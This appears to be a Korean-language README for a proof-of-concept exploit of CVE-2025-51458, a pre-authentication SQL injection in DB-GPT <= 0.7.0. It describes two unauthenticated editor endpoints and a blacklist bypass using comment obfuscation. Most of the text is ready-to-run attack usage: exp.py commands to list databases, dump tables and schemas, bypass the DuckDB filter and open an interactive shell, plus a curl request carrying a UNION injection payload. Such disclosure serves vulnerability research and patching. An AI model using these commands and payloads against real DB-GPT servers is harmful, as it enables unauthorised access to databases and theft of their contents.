
CVE-2025-51458 - DB-GPT 사전 인증 SQL 인젝션 PoC
DB-GPT <= 0.7.0의 사전 인증 SQL 인젝션
/api/v1/editor/sql/run 및 /api/v1/editor/chart/run 엔드포인트는 인증 없이 임의의 SQL을 허용합니다. sanitize_sql 블랙리스트는 DuckDB만 다룹니다. MySQL, PostgreSQL 및 SQLite 연결은 필터링 없이 원시 사용자 입력을 받습니다. DuckDB 블랙리스트 자체는 주석 난독화(SEL/**/ECT)를 통해 우회될 수 있습니다.
이는 CVE-2024-10835 및 CVE-2024-10901의 우회입니다.
# List databases
python3 exp.py http://target:5670 --list-dbs
# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"
# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables
# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db
# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"
# Interactive mode
python3 exp.py http://target:5670 <db_name>
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'